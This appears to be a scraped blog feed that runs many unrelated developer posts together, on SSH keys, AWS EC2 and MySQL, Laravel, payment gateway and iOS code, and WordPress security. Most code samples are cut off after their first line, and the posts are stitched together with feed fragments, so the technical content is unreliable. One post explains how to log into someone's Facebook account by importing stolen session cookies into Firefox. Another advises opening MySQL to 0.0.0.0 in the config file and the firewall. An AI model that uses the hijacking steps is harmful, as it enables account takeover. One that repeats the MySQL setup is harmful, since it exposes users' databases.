]]>Generate ssh key if you don’t have one
1 | $ ssh-keygen -t rsa -b 4096 -C "your_email@example.com" |
Then copy (to clipboard) the public key (with the extension .pub
), e.g.
1 | $ pbcopy < ~/.ssh/id_rsa.pub |
Add the public key to ~/.ssh/authorized_keys
1 | $ vim ~/.ssh/authorized_keys |
Then paste the public key to next line of this file, save it
1 | $ ssh -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxx |
You should be able to login without prompt you to input password
References:
]]>Visit EC2 service, and click on the Volumes on the left menu. Then create volume
General Purpose SSD
, unless you have a high-write usage, then you can choose Provisioned IOPS SSD
Then create
Now you can see that the Status is available
. Right-click the row, and click on Attach Volume
Select the instance you want to extend
This one just leave it, and Attach it.
Now ssh into the instance
1 | ubuntu@ip-xxx-31-xx-xx:~$ df -h |
The volume not mounted yet, so cannot see here
1 | ubuntu@ip-xxx-31-xx-xx:~$ sudo fdisk -l |
Now need to format it to ext4 filesystem
1 | ubuntu@ip-xxx-31-xx-xx:~$ sudo mkfs -t ext4 /dev/xvdf |
Last is to mount it to /storage (it can be any path you like)
Edit the file /etc/fstab (you may use nano if you’re not familiar with vim)
Remember to backup before edit the file
1 | ubuntu-xxx-31-xx-xx:$ sudo cp /etc/fstab /etc/fstab.orig |
Update the content
1 | LABEL=cloudimg-rootfs / ext4 defaults,discard 0 0 <------ THIS IS THE DEFAULT LINE |
Now create a folder for that new disk volume
1 | ubuntu@ip-xxx-31-xx-xx:$ sudo mkdir /storage |
Then mount all
1 | ubuntu@ip-xxx-31-xx-xx:$ sudo mount -a |
Double check it
1 | ubuntu@ip-xxx-31-xx-xx:$ df -h |
%
host.But in EC2, there are some security config need to be done.
Go to your AWS console, select the instance where you host your database (MySQL).
Then select the security group
Make sure you add a rule in the In bound there, for MySQL, and set the IP to 0.0.0.0
Edit the file /etc/mysql/my.cnf
, and change the binding address to 0.0.0.0
(EDIT: 2019-04-04, you may also update the file /etc/mysql/conf.d/mysql.cnf
, for newer version of MySQL. Thanks for Dawood pointing out.)
1 | bind-address = 0.0.0.0 |
then restart mysql server
1 | sudo /etc/init.d/mysql restart |
1 | CREATE USER 'foo'@'%' IDENTIFIED BY 'your-awesome-pass'; |
NOTE: bare in mind that 'foo'@'localhost'
& 'foo'@'%'
are consider as different user, you may have 2 different passwords for each of them
References:
]]>This is my first time dealing with AWS. Initially, I setup my Laravel project in a normal EC2 instance, and manually install mysql, web server, etc.
Then a friend of mine told me that this kind of infrastructure is not scalable. Eventually I go for Elastic Beanstalk.
You need a valid credit card to perform this action. Just follow the instruction will do.
Then choose Web server environment.
Platform select PHP
.
You can temporary choose Sample application first.
Or you can use command line to create (see here)
1 | cd /path/to/project/ |
Now you can click on the link above to see your sample page
eb
in your localOnce you have installed. Run the following command
1 | $ eb init |
You will be prompted to key in AWS credential. Refer the instruction here
Go to Configuration on your left side, then select Instances
If you don’t have a key, create it. Download it and put into your ~/.ssh/
directory.
NOTE: Bare in mind that whenever you ssh in and change something, the changes only temporary, once it scale up and down the changes will be lost
If you notice, there is a file named .env.sample in all laravel project, and you need to rename/copy it as .env (without sample), this is because the configuration cannot be push to git repo, due to security reason.
Now, in elasticbeanstalk, if you ssh in and rename it to .env, then when it scale up and down, the .env will be lost, and the site may be down. Thus, the you have to add the config settings to environment variables
Go to Services (in the top left), and choose RDS
, then follow the instruction.
Now go to your instances
Get the link and put it in your environment variable.
1 | DB_HOST=zzzzz.xxxxxxxxxxxx.ap-southeast-1.rds.amazonaws.com |
Now, the deployment is pretty simple (assume you’re using git here)
In your local, cd
to the project root, then run a command
1 | $ eb deploy <environment> |
It will deploy the latest commit, if you have any changes which not committed yet, it won’t be deployed.
Right now, I notice that my site has blocked by Google Chrome.
I guess is because of, when first load the page, the first click will redirect to somewhere, this is really annoying also.
I found out there is a link about terraclick, and is from the javascript file that from Adsterra. So I remove it quickly.
Now, I check back my Google Analytics
The session drop until 50+. If you still can see this post, I hope that you don’t simply trust all these claim about high CPM bla bla bla.
Use Google AdSense, otherwise use RevenueHits. At lease I know that RevenueHits can make me some revenue, better than those scam Ads platform (really make my site shit).
My revenue drop also. Please review carefully before you apply any ads on your site.
]]>I’m going to show an example on how to get into the facebook account.
Assumption: I already have the authenticated cookies on my hand.
I still think that Firefox is the best browser ever for developer.
You can see the Facebook login page now. Now I need to import the cookies into here.
But before that, please download Advanced Cookie Manager plugin fo Firefox.
Go to Manage Cookies menu, select “facebook.com” in the Domain there. Now you can see a few cookies here.
See the box I highlighted? Facebook use https, so httpOnly choose false
, isSecure choose true
and isSession also true
. These are session cookies.
Now will be like this.
Refresh the page, and now…
DONE!
The concept is like you want to go to foreign country, but you don’t have a passport. Now you steal/get the passport from someone (ignore the passport photo, just an example here). Now you tell the custom that you’re actually the someone, and you’ll get pass.
]]>A web app that allow user to click on a link/button, then trigger the selected printer and print out the document directly.
Due to security reason, there is no way to trigger hardware via JavaScript. Thus, I create a Windows Form Application (WFA) using C#.
This application is actually just a wrapper that wrap a browser (I’m using CefSharp browser), so that I can get the printer list by using C#, then pass to the browser.
I assume you know how to do this. I’m using Visual Studio in this case.
Also, you need to add a few references that required for this project:
You can install CefSharp via Nuget
Foo.cs
1 | using CefSharp; |
Edit the same file Foo.cs, and add the following
1 | // after the page loaded, check if the url is setup printers page |
FooDownloadHandler.cs
1 | using System.Drawing.Printing; |
Now if you try to download, it will prompt a “Save as” windows and you can choose where you want to save.
I’m using Foxit here, download it and install in the Windows machine (client).
Edit the file FooDownloadHandler.cs
1 | // create printer name property |
Enjoy it!
]]>Awesome! You can sign up here.
]]>Besides, if you want to setup auto deployment like Rocketeer, also you will need to change the document root.
Let’s take an example in my scenario, Laravel + Rocketeer auto deployment
1 | |*if !SUB| |
As I mention just now, using Rocketeer in this case, thus it will point to current directory (softlink), and public is because of laravel project.
Login with root user, then restart
1 | $ service httpd restart |
Now it should works.
]]>One of the solution is to process the PDF generation in background.
Let’s name it cronjob
table
1 |
|
Don’t forget also create a model class, Cronjob.php
1 | namespace App\Models; |
P/S: In my case, I put all models into app/Models/ directory, it depends on where you keep them
Download it here http://wkhtmltopdf.org/downloads.html
Extract the tarball, only copy the binary to your project
1 | $ mkdir /path/to/project/bin # create a folder to keep the binary |
1 | $ crontab -e |
1 | * * * * * /usr/bin/php /path/to/project/artisan schedule:run >> /dev/null 2>&1 |
Bare in mind that Laravel has it’s own scheduler.
Now create a file in /path/to/project/app/Console/Command/GeneratePDF.php
1 |
|
Also, don’t forget to add it to /path/to/project/app/Console/Kernel.php
1 |
|
Now it will run this every minute.
Now let’s do the code in your controller
1 |
|
DONE :)
]]>I’m using laravel-dompdf for the project. I will not talk about the setup. Let’s see the code directly.
PdfController.php
1 |
|
The code above, will generate & download the pdf file in A4 paper size. But what if different paper size is needed?
You can set the paper size to any size you want
1 | $pdf->setPaper([0, 0, 685.98, 396.85], 'landscape'); |
(Bare in mind that the value is in point unit)
You can measure the paper with your ruler.
But what you measure is in centimeter (cm) or millimeter (mm), so you can ask google to convert the unit for you
Done.
References:
]]>1 | $ mkdir /path/to/project/app/Libraries/Facebook |
paste the following content
1 |
|
1 |
|
This should solve the issue
References:
]]>1 | $ vagrant up |
1 | $ sudo vim /etc/nginx/sites-available/laravel.app |
In the server_name there
1 | server_name laravel.app *.laravel.app; |
dnsmasq
& configure1 | $ sudo apt-get install dnsmasq |
Then edit the config file
1 | sudo vim /etc/dnsmasq.conf |
Add in the following content
1 | local=/laravel.app/ |
Restart dnsmasq
1 | sudo /etc/init.d/dnsmasq restart |
Open up the Network Preferences
Click on the Advanced… tab
Now add these DNS to the settings, in the DNS tab
NOTE: for 192.168.1.1, this you should follow your router address, because some may be 192.168.0.1 or others
The /etc/hosts value would be
1 | 127.0.0.1 laravel.app |
Before that, double check your /etc/hosts in the host OS
1 | 127.0.0.1 laravel.app |
Now you try to dig
1 | $ dig subdomain.laravel.app @192.168.10.10 |
Now try in your browser, type in the address subdomain.laravel.app:8000
NOTE:
Sometime you may encounter a problem which it doesn’t work, so in this case you have to clear your DNS cache (for OSX, refer here)
References:
]]>The giant mobile marketplace already has a plethora of applications, and many more will release while I’m writing this article. Therefore, for the folks who want to make their application stand out in the pool of applications, a distinct app idea and a right approach are a must.
No matter what is the genre of application that you are interested in developing, there are certain common factors that can lead to the success or failure of an application. Thus, by keeping the winning factors in mind, you can increase the likelihood of your app success in the market.
Fortunately, there are many examples in the industry, who have committed mistakes while developing an application, from which you can learn and shun away the common mistakes. Here are some best practices that one must employ to ensure an intriguing and worthwhile application.
For any type of application, design plays a pivotal role in its success. A poorly designed application won’t attract users. And, this is surely something that you won’t want to happen. For a well designed application, one must consider the four main steps. Let’s have a look into these steps.
a.) Big Idea – The core idea behind the development of an application must be predefined, and addressed appropriately while designing the app. This idea must be something big and really useful. One may conduct several brainstorming sessions to come up with a valuable app idea.
b.) Plan – Once the app idea is clear, it is essential to strategically think of a plan that can help you execute the app development process. Here you will decide whether you need to focus on various functions, or on a key feature.
c.) Layout – Now, design the user interface by packaging the tangible products altogether to form a legible and impressive layout. Make sure that your design is simple and effective enough to entice users and encourage them to further interact with the application.
d.) Functionality – Till this point, it can be assumed that half of the development task is done. Now, you must ensure that the integrated features are performing flawlessly to deliver a great user experience.
Users, especially mobile device users tend to have a short attention span, and thus, they easily get distracted. For this reason it is advisable to integrate a few key features in your application, while ensuring that they work brilliantly. However, you can eventually upgrade the features with an increasing user base and requirements. Moreover, it is imperative to take care that whatever features you want to include in your app, they must deliver an absolute UX.
While planning the content of an application, it is vital to ensure that all the information provided in your application is relevant and making sense to the users’ search. Concentrate on the key functionality of your application that is going to attract your potential users, and then think of additional features that are somehow contextual to the key feature. This can help you make your app go viral.
If the app UI is making it confusing for users to decide where to click next, they might end up abandoning the application. Thus, the actions that you want your users to perform must be showcased in an attractive fashion. Your target users must be able to clearly see the CTA (Call to Action) buttons on a page. This will not only enhance the UX, but will also help you achieve your ultimate goal.
The significance of notifications can’t be gainsaid. While notifications can augment the UX, they can also ruin the experience if they are included in apps that don’t demand such feature. Thus, it can be said that notifications are not advisable for every application. However, whenever they make sense, they must be added.
The foremost benefit of integrating analytics in an application is that it lets one recognize the features, which are being neglected and which are being used by users. Having such insights can definitely help you iterate your app features to make it more useful. With robust analytics, you can identify the trends and instantly make suitable changes to further enhance the UX and elevate the application download rate.
To make your application stand ahead the curve, you must offer the best features to your users. If you can deliver localized information in a timely way, it can amazingly boost the credibility of your application. For instance, let’s consider a news application. Apart from sharing regular headlines and news across the globe, if it can share news and happenings of the local area where you are at that moment, it will make the application more impressive and interesting. Thus, think out of the box and allow your application to take the benefits of location-based information by implementing the latest technologies like Beacon, Wi-Fi, GPS, etc., whichever is suitable for you.
Today, when truckloads of applications are already competing for their success in the wobbly mobile marketplace, it is not an easy pie to develop a successful application. However, by keeping a few essential factors in mind, one can surely heighten the app success rate. I hope the aforementioned factors will help you focus your application in the right direction.
]]>This post is just arrived through the hard work of Samuel Dawson who is a expert HTML to WordPress service provider. Samuel has refined here so many things on how you can build a impressive website just to start E Commerce business.
Developing an efficient ecommerce site from the scratch is not an easy task. There are various issues related to product designing process and product delivery systems with various website designing and marketing strategies. With a multiple variety of online tools, it has become relatively easy to fetch and avail free and affordable resources that would surely help any ecommerce website shine across the world.
After certain decisions are made, next step is to develop an excellent online e-commerce shopping website. To develop a highly engaging e-commerce website, every possible element that serves a purpose of offering your customers with every proper e-commerce solutions is what you need to do for taking your e-commerce business at next step.
As said in various blogs or on various ecommerce website that a visitor must buy something. This makes your business to rise higher instantly by easily optimizing the sales part so that the path that leads to any visitor is heading towards right direction.
Some of the important steps that needs to be taken are as follows:-
Customers are extremely dependent upon public reviews that describes about a particular product as well as service and such is an obvious case with an online shopping mode. This is one of the reason why people frequently refer to third-party websites for multiple reviews. On the same side, if reviews are brought into our own product page, it will prevent them from having second thought.
As published on the Wall Street Journal years ago, people respond better to peer level than to any financial incentives. The same thing is valid for digital world as well. In such cases, people will prefer to have more products because everyone is following the same pattern. This could be a message for everyone to send it by adding more users’ testimonial with expert reviews in your product pages.
Creating a seamless checkout process definitely requires number of simple integration process for well-rated WordPress plugins. Its very obvious that if you want your customers to easily get back and forth from their shopping carts, then surely one needs to perform following steps:
Well in current days, almost each one of us are aware of various potential threats of online shopping that clearly defines that they are quite likely to abandon their shopping carts whatever way they feel for dealing with the payment process, might not be secure enough.
One needs to make sure that in-order to validate a proper security measures, its quite essential to use proper websites features and potentially adds familiar security icon options and logos that will finally help shoppers feel more comfortable with transaction process.
As shown on the basis of several studies that most of the product pages are not dealing with shares that displays next to these buttons that are highly threatening because it might appear as a negative social thought that can obviously hamper your start-up e-commerce business.
]]>Example, below shows that this site prevent all user agent (mostly search engine) to crawl the content of the entire site.
1 | User-agent: * |
However, this could be a loophole for giving a chance to hacker to hack into your site, because you have exposed the paths.
Take a look on Facebook’s robots.txt, it is
1 |
|
So the hacker may try to access in this way, e.g. www.facebook.com/topic/ (I have tried it, it shows page not available).
You can choose a modern web framework to develop your web application, example like Laravel, the path is you can specify it by your own, e.g.
1 |
|
When hacker try to look for www.yoursite.com/foo, he/she won’t get anything here. So becareful when you design your web application.
You may check your robots.txt here.
]]>use AuthenticatesAndRegistersUsers
.By using their default login, you have to create your own view, e.g.
1 | <form class="form-signin" method="POST"> |
In the app/Http/Controllers/Auth/AuthController.php, you can specify your username in the table
(some of people will use email instead). The $redirectPath
is refer to after you successful
login, where should it redirect to?
1 |
|
As my example, I actually move the model class to a Models folder, thus I need to change this
config/auth.php
1 |
|
If you want to change the login error message, originally is “These credentials do not match our records.”
Then you can edit resources/lang/en/auth.php
1 |
|
Basically is done now. Try it yourself…
References:
]]>Eventually I realised that, it was quite simple.
composer.json
Add "googleads/googleads-php-lib": "6.*"
to the require section.
e.g.
1 | "require": { |
Then run the command:
1 | $ composer update |
By follow Laravel 5 standard, create a config file in the config folder
1 | project |
The adwords.ini contains:
1 | ; Detailed descriptions of these properties can be found at: |
1 |
|
That’s all~
]]>I asked this question before, I think is about 1 year+ ago. Many times, I search for it, but couldn’t understand how it work.
Until recently, I found that Laravel also recommended it. I tried and eventually I found it really useful!
First of all, you will need a ssh key, Vagrant & VirtualBox.
Generate ssh key
1 | $ ssh-keygen -t rsa -b 4096 -C "username@example.com" |
Navigate to your development folder, e.g. cd ~/dev
Clone the Laravel configuration for Vagrant (we’re refering to Laravel’s vagrant file)
1 | vagrant box add laravel/homestead |
Assuming that all projects are hosted on the same VM.
The configuration files stored in ~/.homestead
1 | cd ~/.homestead/ |
Edit the file Homestead.yaml, refer to Laravel doc for complete information.
There are few things you need to change
1 | folders: |
Just an example here, look at the section folders, it actually created a shared folder in the VM. ~/dev/web
is the local folder which keep all the web project (make sure it exists before you run vagrant up
), whereas the /home/vagrant/dev
will be inside the VM
For sites, is actually the virtual hosts for a particular project, in this example is to map laravel.homestead.com
to the project named laravel
Now you can create the VM
1 | cd ~/dev/homestead |
Now edit your /etc/hosts file, by adding the following line
1 | 192.168.10.10 laravel.homestead.com |
(the ip address was in your ~/.homestead/Homestead.yaml)
Create a new laravel project (if you don’t know how to install laravel, refer http://laravel.com/docs/5.0)
1 | cd ~/dev/web |
Now open up your browser, and type in the address laravel.homestead.com, and you will see the page!
You can remain your development in the host OS, but host the project in VM.
You can actually verify this by open a new terminal
1 | cd ~/dev/homestead |
Now you logged in to the VM
1 | cd ~/dev |
Go back to the previous terminal, create a dummy file
1 | $ touch ~/dev/web/new-file |
Switch back to the second terminal
1 | $ ll |
Means now you can create any other PHP projects beside Laravel in this environment as you like.
Enjoy yourself :)
]]>Sophia is a renowned WordPress developer by profession. If you’re about to Hire WordPress developer, then you can get in touch with her. Sophia already has multiple WordPress-related articles under her name.
Despite investing a significant amount of time and efforts, your WordPress website may still be vulnerable to attacks. In fact, on an average nearly 20,000 sites are identified as hacked every day. Unfortunately, you won’t find any “One size Fits All” approach that can help make a WordPress website secure from getting hacked. But, there are a few simple to follow strategies that can help harden your WordPress site security. In this post, I’ve listed 5 simple yet crucial strategies that will safeguard your site against potential threats.
While having a WordPress site can help establish your business as a strong online identity, the irony is that very mention of the terminology “WordPress” on your site can put it at risk. That’s because, the immense popularity of the WordPress CMS makes it a favorite target for hackers. Malicious users can launch brute force attacks, if they’ll identify the WordPress version you’re running, or the WP theme or plugins you have installed. Of course, you can completely avoid using the term WordPress on your website, but try to limit its use.
You can deal with such an issue by changing some default permalinks of your WordPress site. Doing so, will help keep your site safe against brute force attacks, SQL-injection and other attacks.
One common mistake that site owners tend to make is that they overlook or forget to change the default username (i.e. admin) for their WordPress account. Keep in mind that not changing the administrator name makes the brute force successful, as hackers just need to guess your password to break into your site admin interface.
You just need to create a new admin user for changing your website default user name. Once you’ve created a new admin user account, make sure to delete the original default admin user from your admin panel.
Each new WordPress release comes with several new and improved features. More importantly, the latest version boasts security fixes to resolve bugs found in previous WP version. Thus, running your site on an up-to-date WordPress version will not just help add many more features, but will also help fix security loopholes and issues.
For example, in order to keep WordPress sites secure the latest WordPress version 4.3 has introduced a new approach for generating secure passwords. When using this new version, you won’t be receiving passwords through email instead you will be getting a password reset link. The best part is that WordPress will automatically create a password for every new user profile.
Not using the correct right permissions for your website files and directories can impose a threat to your website security. Wondering why? As you may know, you can write on your WordPress site from the server. This often creates a problem when your site runs on a shared server. Such kind of server hosts multiple sites, and thus there is a greater possibility that your files can be accessed by some other site owner. You won’t face any problem if your file permission allows users to read it. However, avoid assigning write permission on your file, or some malicious user may write faulty code, making it vulnerable to attacks.
With the following commands, you can protect all your WordPress files and folders safe and accessible only to authenticated users:
1 | find /path/to/your/wordpress/install/ -type d -exec chmod 755 {} \; |
Last but definitely not the least, there is a plugin available online that can help meet your needs, including measures to keep your website protected against attacks. Here are 3 great and highly useful plugins that ensures in making your site
So, that’s it! Hope that reading the post will help you find the suitable ways to increase your website security to a great extent. However, make sure to create a backup of your site before making any update and changes to the WordPress core files, as it will help you restore your original website in case it is being hacked and damaged by hackers.
]]>With millions of apps available in the app marketplace, several organizations and individuals are fighting in order to attain maximum app downloads. Many believe that the success of an app depends on its capabilities, usability and the platform for which the app is built. While this is true, but you must also focus on testing the apps. Remember that ignoring to test an app can lead to its failure.
No matter whether you’re creating a web application for the desktop or a mobile app, be sure that the app is tested thoroughly before releasing it for public use. Doing so, will ensure that your app is bug-free and will let you know about the errors that you need to troubleshoot. Thankfully, there are a few high quality JavaScript testing frameworks that provide convenience and ease to test apps.
In this post, we’ll be talking about two popular JS frameworks such as Selenium and PhantomJS that helps perform functional tests on web applications. I’ll let you know about the major difference between both these testing frameworks by discussing about their pros and cons, to help you decide which one will best suit your app testing needs. But, let’s first have a brief introduction to Selenium and PhantomJS frameworks.
Selenium serves as an easy-to-use testing framework for web apps. It provides a record/playback tool to carry out the process of authoring tests cases even without the familiarity of test scripting language. This testing framework helps to write tests in different programming languages (like Ruby, C#, Java, etc.) with the help of a domain-specific language (called Selenese). The tests can then be run against most modern web browsers. Selenium helps in running the tests against some of the major web browsers and platforms. This framework can be downloaded for free, since it is an open-source software.
PhantomJS isn’t exactly a test framework and rather works in sync with a test runner that help in launching tests. Some of the test runners that PhantomJS use for carrying out tests on JavaScript apps are Buster.JS, Mocha, Hiro, Laika and many more. It uses JavaScript API to integrate a test automation system in the browser.
Let us first have a look at the pros of the Selenium framework:
Additionally, it saves the debugging effort by allowing users to see browsers activities in real time.
Below are some of the cons of the Selenium framework:
Some of the pros of PhantomJS are listed below:
Finally, let’s have a quick glance at disadvantages of PhantomJS:
Not focusing on performing unit tests for apps can put you in a lot of trouble, and will require you to spend more time and efforts in maintaining the app. However, you can easily test your web applications in a highly efficient manner using the two most popular Selenium and PhantomJS frameworks. Here, in this post I’ve covered many pros and cons of both these frameworks that will help you make the right decision about choosing a suitable framework to test your web app.
Written by: Amanda Cline
]]>Assumed that ruby & gem are not installed. Need to install rvm first.
Before that, rvm require some packages which are not available on the default debian repo. Thus update the apt
list first
Remember to switch to root user
1 | $ su - |
Edit the list file
1 | vi /etc/apt/sources.list |
Make sure all these are inside
1 | deb http://security.debian.org/ wheezy/updates main |
Then run a command (to prevent GPG error)
1 | $ gpg --keyserver pgpkeys.mit.edu --recv-key ED444FF07D8D0BF6 |
Then update the apt
1 | $ apt-get update |
First you need curl
1 | $ apt-get install curl |
This is because later the rvm script will need sudo
1 | $ adduser username sudo |
Make sure this is run by yourself (not root)
1 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 |
Install latest ruby
1 | $ rvm install current |
1 | $ rails new yourapp |
Execute it
1 | bin/rails server |
Now you can open up your browser, and type in localhost:3000
Example if the project is run inside VM (I’m using VMWare Fusion), then
1 | $ bin/rails server -b 192.168.1.xx |
Later on, in your host OS’s browser, type in 192.168.1.xx:3000
References:
]]>I’m here just to share a little bit of my personal experience.
This was started in year 2011, that was my intership program. My supervisor, Mr Ang (drop me an email if you interest to know him) advice me to sign up an GitHub account.
Yes, I do follow, by that time I didn’t know what is this for. After a couple of months before I leave the company, he then suggest me to create an open source project, at first I have no idea what project I can create, also didn’t know the purpose…
Until I got my first job as a Cold Fusion programmer, this language was new to me, thus I have a lot to learn. From here, I started to blog in Octopress platform (I love markdown, also I can use my favourite editor, ViM to write).
My intention was to jot down the learning so that I can refer anytime. But up until this point, I realized that my blog has helps a lot of developers out there to solve their problems.
2 years+ later, my website just grown up. Refer Alexa rank & Google Analytics below.
In March 2015, I received an email from Packt publishing, offer me to review a book Mastering Laravel
. I think they get my email from my blog, you can see how a normal software developer can reach to the world.
Aside from blogging, GitHub also a platform for us as a developer to show case our skills & passion.
Back in 2013, I had been assigned an in-house project which was to create an iOS app that can decrypt encrypted-QR-code.
From here, the first thing I did was to google about the keywords “RSA decryption in iOS”, of course, after few days of searching without getting any solution!
Some time bad thing can unleash our potention! Because I’m the “most senior” other than boss, I have to find a way to get it works! At the end I think of using C language to decrypt it, since Objective-C can mix with C code.
After sometime, I modified the messy code and publish in my GitHub account. Until now, it has 40 stars & 21 forks, although it may not be a very great number, but I believe it has already helps many other developers.
If you’re a developer, I’m 100% sure that you know about this platform. Have you ever post any questions? Have you ever answer any questions?
There are some users in Stackoverflow I always see their name, which has high reputation as well. Often the questions they post, or the answers they post are very helpful to us.
If you never post anything here, I suggest you start posting, it helps others, also helps you!
I never write any book before. Previously I attended an event about publish books, I’ve learned that write a book can actually build up your name quickly.
Imagine that you write a book, and publish for free (eBook may be a good choice here), even though you may not see any tangible profit, but how many people in this world download your book? From here, you’re making tons of intangible profit.
Of course, there are many more like give a technical talk, etc. also helps in building up your name.
In current century, we’re talking about portfolio, not a degree certificate, not a fancy resume!
I highly recommend you to start a blog if you haven’t.
If you’re a most expert programmer in the world, but nobody knows you, then you’re just a nobody.
]]>Many times, we struggled on finding out the cause of error.
Especially, it works on local environment, but failed in live server.
For some hosting, especially shared hosting, we have no freedom to change
the php settings and we have to guess which section caused the error
and what is it about.
This usually caused us hours & hours to figure it out.
Thus, I wrote this post.
Please comment on below OR drop me an email at me@jsl.im, if you want to contribute to this post.
Thanks
Failed example
1 |
|
Correct way
1 |
|
Move the result out as a separate variable, even though it may not be use
in the section below.
Reference: Can’t use method return value in write context
No matter what I trying to install, it doesn’t works.
Keep showing E: Unable to locate package …
1 | root@debian:~# apt-get install git |
Then I found the solution. Edit the source list
1 | vi /etc/apt/sources.list |
to this content
1 | deb http://ftp.at.debian.org/debian wheezy main contrib |
Then run
1 | # apt-get update |
Now can install other packages
References:
]]>You will get Merchant Code and Merchant Key.
After that, submit a request URL to iPay88 support. Where the request
URL is the page that you submit to iPay88 site, you will know later.
Create a page like below (just an example).
payment.php
1 |
|
The Signature has a formula to generate, will be provided from iPay88
1 |
|
A hint here, if your amount is
1 | <input name="Amount" type="hidden" value="1.00"> |
then your signature source must be appleM00001REF000001100MYR
if amount is
1 | <input name="Amount" type="hidden" value="1"> |
then your signature source must be appleM00001REF0000011MYR
If you notice that all the inputs are hardcoded, please don’t do this
to your site, you can change to variable from query string. e.g.
1 | <input name="RefNo" type="hidden" value="<?php echo $_REQUEST['ref']; ?>"> |
Then you access in browser: http://mysite.com/payment.php
So in this case, the request URL is http://mysite.com/payment.php
But wait a minute, during the development, the URL should be localhost.
Don’t worry, we can use virtual host here, you can refer this in my other
blog post
section 3. Make sure you put the real url to /etc/hosts
1 | 127.0.0.1 mysite.com |
So when you access http://mysite.com, you are not refering to the live site,
but the development site in your local machine, now you can test with
iPay88.
I have tried using cURL as well, in fact it need to be a POST request in a webpage form.
response.php
1 |
|
The file above will be a POST request, if you don’t want to use $_REQUEST
, you can use $_POST
Please take note on the backend.php
Sometime, there are some weird issue that may caused the response.php not working correctly. Thus, backend.php is needed here (I have faced the issue with CIMB click).
The backend.php will not work if you check for login session. e.g.
1 |
|
That means you cannot deal with any session here (backend.php)
success.php
1 | <button type="button" onclick="window.location.href='com.mysite.myapp://successClicked';">Done</button> |
failure.php
1 | <button type="button" onclick="window.location.href='com.mysite.myapp://closeClicked';">Close</button> |
See com.mysite.myapp? Is this weird to you? If you have use Waze API
you will see waze://?q=<address search term>
this, waze://
is the custom scheme that only
use in Waze app. Same to this, com.mysite.myapp://
is only use in this app
UIWebView
Create a custom web view to handle payment
PaymentWebViewController.m
1 |
|
See com.mysite.myapp again? We detect if the URL scheme is com.mysite.myapp
, then
perform some action.
When the time your app open this web view, you will see iPay88 page. The whole integration is done.
]]>Let’s take a look on the output above, the Event Description content.
Yes, it can achieved by using UILabel
, but somehow HTML would be easy
to construct the format. Thus I’m showing a demo on how to use UIWebView
to achieve this.
This is using auto-layout
(I assumed that you know how to add constraint through storyboard)
Now add 4 or 5 constraints to UIWebView
, make sure the Height constraint is added, you can put any value you like.
UIWebViewDelegate
to selfViewController.swift
1 | class ViewController: UIViewController, UIWebViewDelegate { |
Go back the storyboard, hold the right-click and drag it over to the controller
Here to disable the scroll, hide the scroll indicator, disable bounces,
clear the UIWebView
background
ViewController.swift
1 | self.descriptionWebView.scrollView.scrollEnabled = false |
Add a wrapper to the content (use main-wrapper
here)
ViewController.swift
1 | self.descriptionWebView.loadHTMLString("<div id='main-wrapper'>\(html)</div>", baseURL: nil) |
Implement the UIWebViewDelegate
1 | func webViewDidFinishLoad(webView: UIWebView) { |
The output would be
1 | webView content height 187.0 |
The UIWebView
constraints here has only 1, thus I assumed that the first
constraint is the Height constraint, by changing the value of the first
constraint, the height of UIWebView
will be changed.
Now, if you want user to open safari when they click on the link, implement
another method
1 | func webView(webView: UIWebView, shouldStartLoadWithRequest request: NSURLRequest, navigationType: UIWebViewNavigationType) -> Bool { |
Make sure the UIWebView
is inside UIScrollView
. As by using auto-layout,
the UIScrollView
content height will be expand based on its subviews.
UIActivityViewController
.140
characters on a post,One of the way is to subclass the UIActivityItemProvider
. Here is
how you can do it:
MyActivityItemProvider.h
1 |
|
MyActivityItemProvider.m
1 |
|
MyViewController.m
1 | // 3. |
activityViewController:itemForActivityType:
.UIActivityViewController
will then pick the correct message for corresponding provider.NSUserDefaults
, some are to keepI’m here to share about session cookie way.
Let say once user successfully login, the server will then keep
the login user into session.
1 |
|
What about in client side?
AppDelegate.m
1 | // 1. |
PHPSESSID
, if you’re using other framework, the key might be changed.NSUserDefaults
, we can then check whether the session is exists before call any server API.NSUserDefaults
into cookie storage.Click on the project, at the right pane, update the name to the name that you want,
then hit <Enter>
Then it will prompt you which one to rename, just check all and hit <Enter>
Click the scheme up there, then Manage schemes…
Then change the scheme name (click on that row, then hit <Enter>
)
Close the Xcode first.
Then try to search for your project name
1 | $ cd /path/to/JsFoo/ |
It seems a lot to change… No worry, there is an easy way to do it
1 | $ grep -Rl "JsFoo" * | xargs sed -i "" "s/JsFoo/JsBar/" |
grep
to search for “JsFoo”, and the -l
option is to show the file name only,
then only pass the result to sed
to change “JsFoo” to “JsBar”
Try to search again…
1 | $ grep -R "JsFoo" * |
Oops… Some files haven’t change. The reason for this is because one of the file is actually
a binary file, up until there the instruction is break. Let’s do again and exclude that binary
file
1 | $ grep -Rl "JsFoo" JsFoo*/* | xargs sed -i "" "s/JsFoo/JsBar/" |
Search again?
1 | $ grep -R "JsFoo" * |
Done! Now totally no more “JsFoo”. One more thing, rename the folders
1 | $ mv JsFoo JsBar |
Now you can open up your Xcode project, and build it
Oops… Got error?
1 | <unknown>0: error: no such file or directory: '.../JsBarTests/JsBarTests.swift' |
One more file that we forgot to rename
1 | $ mv JsBarTests/JsFooTests.swift JsBarTests/JsBarTests.swift |
Done!!!
Xcode 6.3.1 will crash during the rename.
And I found a simpler way on doing that, refer here
1 | # install the necessary package |
textField
in a tableView
, perhaps it is much simpler.If your form in UITableView
extends UITableViewController
, then you can skip the post, UITableViewController
will handle this issue for you.
But, in certain situations, we need to extends UIViewController
and handle the keyboard with UITableView
by our own.
The ViewController.m is subclass of UIViewController
1 | ... |
contentSize
of the tableView is actually increase, so thatcontentSize
will then changed back to1 | - (void)keyboardWillShow:(NSNotification *)notification |
This solution doesn’t need to care about the tableFooterView
, but change it’s content inset instead.
1 | JSView |
In this case, I have a viewController that contain a property UILabel titleLabel
. I want to perform some action upon the text
changed.
i.e.
1 | jsView.titleLabel.text = @"new text"; |
Now, add an event listener (in iOS called observer) to it’s text changed
1 | [self addObserver:self forKeyPath:@"_titleLabel.text" options:NSKeyValueObservingOptionNew | NSKeyValueObservingOptionOld context:nil]; |
you can add the line above to init
method
1 | - (void)dealloc |
Don’t forget to remove it after the main view deallocated, otherwise the app will crash.
1 |
|
Once the text changed, it will output the console
The more proper way would be
1 | [_titleLabel addObserver:self forKeyPath:@"text" options:NSKeyValueObservingOptionNew | NSKeyValueObservingOptionOld context:nil]; |
1 | - (void)dealloc |
1 |
|
References:
]]>ViewController.m
1 |
|
